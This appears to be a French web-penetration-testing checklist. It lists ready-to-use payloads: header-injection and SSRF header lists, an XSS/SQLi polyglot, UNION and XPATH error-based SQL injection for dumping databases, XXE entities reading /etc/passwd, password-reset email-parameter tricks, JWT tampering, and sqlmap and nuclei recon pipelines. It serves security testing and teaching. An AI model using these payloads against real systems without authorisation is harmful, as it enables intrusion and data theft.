CheckList & Méthodologie

Au début :

Scan Server

  • NMAP

      sudo nmap -sS <IP>
      nmap -A -p- <IP>
      sudo nmap -v -Pn -sV --reason --version-all --top-ports 1000 <IP>
  • Nikto

      nikto -h <URL>
  • Shodan

  • DNS

SSL/TLS Check

Subdomain/Directory Listing

Specific informations gathering

Headers Check

Headers Injection

  • Host header injection

    • Host Header

    • Bypass admin panel

        1. Ce bypass est utilisé lorsque l'accès à la page de connexion de l'admin vous est interdit.
        3. Injecter "X-Orginal-URL : /admin" ou "X-Rewrite-URL:/admin".
        4. Utiliser cet en-tête sous Host
      
        * Utilisez Burp pour capturer puis vérifier
    • Forwarded Injection

      Injecter :

    • URL Absolu

      Essayez de rentrer un URL absolu :

        GET **https://google.com** HTTP/1.1
        Host: www.google.com
  • SSRF Injection

Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1
  • CORS (Cross Origin Resource Sharing)

    Ajouter le header "Origin" à la requête :

      GET / HTTP/1.1
      Host: www.vulnerable_website.com
      **Origin : evil.com**

    Si la réponse contient le code ci dessous vous avez une vulnérabilité CORS :

      **Acces-Control-Allow-Origin: evil.com
      Access-Control-Allow-Credentials: True**

    Pour POC une vulnérabilité CORS :

    Habituellement, vous voulez cibler un endpoint API.

Cookies

  • Attributs à checker

  • Obfuscation

  • Credentials

Login/Logout/Account creation

  • Creation de compte

  • Login

  • Logout

Forgot_Password

  • Lien de reset de password n'expirant jamais

    lorsqu'un utilisateur demande un changement de mot de passe, il obtient un lien de réinitialisation de mot de passe pour réinitialiser le mot de passe, c'est le comportement normal, mais il devrait également expirer après un certain temps. S'il n'expire pas et que vous pouvez utiliser le lien de réinitialisation du mot de passe plusieurs fois pour réinitialiser le mot de passe. Ensuite, vous pouvez le considérer comme une vulnérabilité.

  • Pas de limite sur le reset de password

    La limitation de débit est utilisée pour contrôler la quantité de trafic entrant et sortant vers ou depuis un réseau. Essayez donc d'envoyer beaucoup de requêtes, si cela ne vous bloque pas, vous pouvez le considérer comme une vulnérabilité.

    HOW TO HUNT :

    1. Démarrez burp et interceptez la demande de réinitialisation du mot de passe

    2. Envoyer à l'intruder

    3. Utilisez le payload "null"

  • Déni de service lors de la saisie d'un long mot de passe

    Normalement, les mots de passe ont 8-12-24 ou jusqu'à 48 chiffres. s'il n'y a pas de limite de caractères dans le mot de passe, vous pouvez le considérer çela comme une vulnérabilité.

    HOW TO HUNT :

    1. Démarrez burp et interceptez la demande de réinitialisation du mot de passe

    2. Envoyer à l'intruder

    3. Utilisez le payload "null"

  • Fuite de token de réinitialisation de mot de passe via referer

    Le referer HTTP est un champ d'en-tête HTTP facultatif qui identifie l'adresse de la page Web qui est liée à la ressource demandée. L'en-tête de demande Referer contient l'adresse de la page Web précédente à partir de laquelle un lien vers la page actuellement demandée a été suivi. Il est donc possible que le jeton de réinitialisation du mot de passe fuit via l'en-tête de demande de référence.

    HOW TO HUNT :

    1. Demandez la réinitialisation du mot de passe sur votre adresse e-mail

    2. Ouvrez le lien de réinitialisation du mot de passe

    3. Assurez-vous de ne pas modifier le mot de passe sur la page de réinitialisation du mot de passe

    4. Cliquez sur les liens de médias sociaux et capturez la demande à l'aide de Burp Suite

    5. Vérifiez si le referer contient un jeton de réinitialisation de mot de passe

    Exemple : Nord Security disclosed on HackerOne: Password Reset Link Leaked In...

  • Réinitialisation du mot de passe avec la manipulation du paramètre emails

    Tout en demandant un lien de réinitialisation de mot de passe pour l'utilisateur victime, nous pouvons essayer la manipulation des paramètres ci-dessous pour obtenir une copie du lien de réinitialisation de la victime sur l'e-mail de l'attaquant.

    HOW TO HUNT :

    • Double parameter (HTTP parameter pollution) : email=victim@xyz.tld&email=hacker@xyz.tld

    • Carbon copy : email=victim@xyz.tld%0a%0dcc:hacker@xyz.tld

    • Using separators : email=victim@xyz.tld,hacker@xyz.tldemail=victim@xyz.tld%20hacker@xyz.tldemail=victim@xyz.tld|hacker@xyz.tld

    • No domain : email=victim

    • No TLD (Top Level Domain) : email=victim@xyz

    • JSON table : {“email”:[“victim@xyz.tld”,”hacker@xyz.tld”]}

JavaScript

Open Redirect

exemple: https://vulnerable_website/test?url=www.google.com

Si une redirection s'effectue vous êtes en présence d'une vulnérabilité d'Open Redirection

Astuce : exporter le sitemap de burp :

cat sitemap.txt | gf redirect >> test_redirect.txt
cat test_redirect.txt | qsreplace "https://google.com" >> ffuf_redirect.txt
ffuf -c -w ffuf_redirect.txt -u FUZZ

JWT

Voila une extension Burp qui reproduit les mêmes attaques : JOSPEH

Il peut arriver qu'un serveur ne check pas la signature du JWT, nous allons donc essayer de modifier le JWT

python3 jwt_tool.py "<JWT>" -I -pc name -pv admin #On change la variable {name}={admin}

Injections

POLYGLOT PAYLOAD TO USE EVERYTIME : 
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
(/*! SLEEP(5) ) /*/ onclick=alert(1) )//<button value=Click_Me /*/*/or' /*! or SLEEP(5) /*/, onclick=alert(1)//> /*/*/-- 'or" /*! or SLEEP(5) /*/, onclick=alert(1)// /*/*/--{{7*7} "
  • SQLi

    • Manuellement 1. Trouver une injection

        Le but étant de remarquer si une erreur apparait ou si le comportement de l'application change.
      
        ```sql
        '
        ' or 1=1 
        ' or 1=1 -- 
        ' or 1=1 -- -
        ' or 1=1 #
        ' and 1=2 -- -
        ' and 1=1 -- -
        Bypass WAF : %00 ' UNION SELECT ...
      
        Best payload : Permet de trouver les blinds et les error based
        ' or sleep(5) -- -
        ```
      1. Trouver le nombre de colonnes :

             ' ORDER BY 1 --
               ' ORDER BY 2 --
             ' ORDER BY 3 --
             ' UNION SELECT NULL --
                 ' UNION SELECT NULL,NULL --
                 ' UNION SELECT NULL,NULL,NULL --
        
          Incrementer de 1 le ORDER BY ou le NULL, jusqu"à avoir :
         - Une erreur pour le order BY
         - Pas d'erreur pour le NULL
      2. Extraction d'informations database(), version(), user(), UUID() with concat() or group_concat() (COLUMNS represente le nb de colonnes trouvé précédement, soit remplacer par 1,2,3,... ou NULL,NULL,NULL,... ) :

         Oracle               'UNION SELECT banner, COLUMNS,  FROM v$version --
                                             'UNION SELECT version, NULL, NULL FROM v$instance --
        
         Microsoft               'UNION SELECT @@version, COLUMNS -- 
        
         PostgreSQL               'UNION SELECT version(), COLUMNS --
        
         MySQL                   'UNION SELECT @@version, COLUMNS --
      3. Dump de la database (Attention : Mieux vaut encoder les espaces avec un "+") :

         Oracle            'UNION+SELECT+table_name+FROM+all_tables
                             'UNION SELECT column_name FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
        
         Microsoft           'UNION SELECT table_name FROM information_schema.tables
                           'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
        
         PostgreSQL           'UNION SELECT table_name FROM information_schema.tables
                           'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
        
         MySQL             'UNION SELECT table_name FROM information_schema.tables
                           'UNION SELECT column_name FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
      4. TIME DELAY ( Utile pour trouver des SQLi)

         Oracle           dbms_pipe.receive_message(('a'),10)
        
         Microsoft       WAITFOR DELAY '0:0:10'
        
         PostgreSQL       SELECT pg_sleep(10)
        
         MySQL           SELECT sleep(10)
      5. SQLi Error based avec XPATH

        D'après mon expérience, la plupart du temps, quand on ajoute une quote ou deux et nous obtenons une erreur de l'application alors on en déduis une SQLi, très bien. On commence par commenter la requête et à chercher le nombre de colonnes avec ORDER BY.

        Supposons qu'il y ait 5 colonnes. Maintenant, quand nous injectons avec de l'Union Based, On se rend compte que l'erreur ne nous renvoi rien... Merde....

        C'est la situation dans laquelle on peut utiliser l'injection XPATH.

        Donc on reprend l'injection de base :

          id=1' union select 1,2,3,4,-- -
          # Cette Injection prend la forme de :
          select path from pages where id="<notre_requete>" limit 1,1;

        On vas donc utiliser la fonction MySQL"extractvalue" qui utilise une requete XPATH pour formuler la requete. La fonction prend l'entrée sous la forme suivante : ExtractValue('xmldatahere', 'xpathqueryhere').

        Si la requête XPath est syntaxiquement incorrecte, un message d'erreur s'affiche : Erreur de syntaxe XPATH : 'xpathqueryhere'. C'est dans cette erreur qu'on va pouvoir retrouver nos réponse à nos requêtes.

          id=1' and extractvalue(0x0a,concat(0x0a,(select database())))--
          Output : XPATH syntax error: ' database_name_here'

        Maintenant il ne vous reste plus qu'à adapter les requêtes pour dumper dans l'ordre :

        1. Le nom de la database

        2. Le nom des tables

        3. Le nom des colonnes

        4. Les données dans les colonnes

          id=1' and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--
          Output : XPATH syntax error: 'table_name_here'
          
          id=1' and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))--
          
          id=1' and extractvalue(0x0a,concat(0x0a,(select count(username) from users)))--

          ⚠️ ATTENTION : Vous avez remarqué le "LIMIT 1,1", jouez avec ca pour afficher toutes les données.

          Ex : LIMIT 1,1 / LIMIT 2,1 / LIMIT 3,1 ....
    • Automatisation

        sublist3r -d target | tee -a domains.txt (utilisation d'autres tolls genre findomain, assetfinder, etc.)
        cat domains.txt | httpx | tee -a alive_subdomains.txt
        cat alive_subdomains| waybackurls | tee -a urls.txt
        gf sqli urls.txt >> sqli_test.txt
        sqlmap -m sqli_test.txt --dbs --batch
  • XSS

    Test d'une XSS :

    Le paramètre est-il réfléchis dans la réponse du serveur ? Si oui →

  • XXE

    1. Convertir le content-type "application/json"/"application/x-www-form-urlencoded" en "applcation/xml".

    2. Si le File Upload autorise docx/xlcs/pdf/zip , unziper le fichier et rajouter un fichier evil.xml avec votre XML injection dedans

    3. Si possibilité d'upload une image SVG, injecter une XXE dans votre SVG

    4. Si l'application propose des flux RSS, ajoutez votre injection dans le flux RSS.

    5. Si l'application propose l'intégration du SSO, vous pouvez injecter votre code xml vicieux dans la demande/réponse SAML.

    6. Dans du SOAP :

      GitHub - payloadbox/xxe-injection-payload-list: 🎯 XML External Entity (XXE) Injection Payload List

      Il faut comprendre comment marche une XXE pour essayer de bypass les mécanismes de sécurité :

      Le XML marche sous forme d'entité, il est possible d'injecter des entitées customs :

      <!--?xml version="1.0" ?-->
      <!DOCTYPE foo [ <!ENTITY MON_ENTITE "Valeur de mon entité" > ]>
      <userInfo>
      <firstName>John</firstName>
      <lastName>&MON_ENTITE;</lastName> #Appel de ma custom entity
      </userInfo>

      Ou encore d'injecter des entitées externes qui seront chargé soit depuis un URL soit depuis un fichier distant. Pour charger ces entités on utilise la commande SYSTEM

      <!--?xml version="1.0" ?-->
      <!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://external-website.com" > ]> # **file:///etc/passwd** peut aussi être utilisé
      <userInfo>
      <firstName>John</firstName>
      <lastName>&ext;</lastName> #Appel de mon external entity
      </userInfo>

      Quelques fois il est possible que les entitées externes soient bloquées pour des raisons de sécurité. On peut alors utiliser non plus des custom ou external entities mais des parameters entity qui vont s'appeler directement depuis la délcaration de la DOCTYPE et donc plus besoin de l'appeler dans les paramètres de la requète (plus bespoin de &xxe;) :

      <!--?xml version="1.0" ?-->
      <!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://burp.collaborator.net"> %xxe; ]>
  • SSRF

    • POC

      Dans Burp > fichier > Burp Collaborator > Copy to Clipboard

      Injectez vos Burp collaborator dans les éléments suivants et checker si vous avez une connexion en retour :

    • Automatisation 1. Getting urls

            waybackurl [target.com](http://target.com) >> blindssrftesturls.txt
            gau -subs [target.com](http://target.com) >>blindssrftesturls.txt

      2. Trouver les faux positifs

        cat blindssrftesturls.txt | sort -u | anewc | httpx | tee -a pre_ssrfurls.txt

      3. Trouver les paramètres vulnérables

        cat pre_ssrfurls.txt | gf ssrf >> final_ssrfurls.txt

      4. Remplacer par votre Burp Collaborator et Fuzzer

        cat final_ssrfurls.txt | qsreplace "Burpcollaborator" >> ssrf_ffuf.txt
        ffuf -c -w ssrf_ffuf.txt -u FUZZ
    • TIPS :

  • SSTI

    Ruby

      <%=`id`%>

    Twig

      {{7*'7'}} --> 49

    Jinja

      {{7*'7'}} --> 7777777
  • OS command

  • XPath

  • LDAP

File Upload

  • ByPass de filtre:

    Différents types de filtrage.

CSRF

Extension Burp

Quick Automatise Recon

Subfinder + amass + crtfinder + sublist3r + google dork >> all_subdomains.txt
httpx -l all_subdomains.txt -silent >> live_subdomains.txt
cat live_subdomains.txt | waybackurls > waybackurls.txt
ffuf -w /path/to/wordlist -u [https://target/FUZZ](https://target/FUZZ) -mc 200, 301,302,403 >> hidden_directories.txt
nmap -sC -iL all_subdomains.txt >> nmap_results
cat waybackurl.txt | gf redirect | tee -a redirect.txt
cat waybackurl.txt | grep js >> js_files.txt
cat all_subdomains.txt waybackurls.txt vulnerable_links.txt >> target_urls.txt
nuclei -l target_urls.txt -t cves/ -t takeovers/ -t misconfiguration/ -t defautlt-logins/ -t fuzzing/ -t technologies/ -t vulnerabilities/

Last updated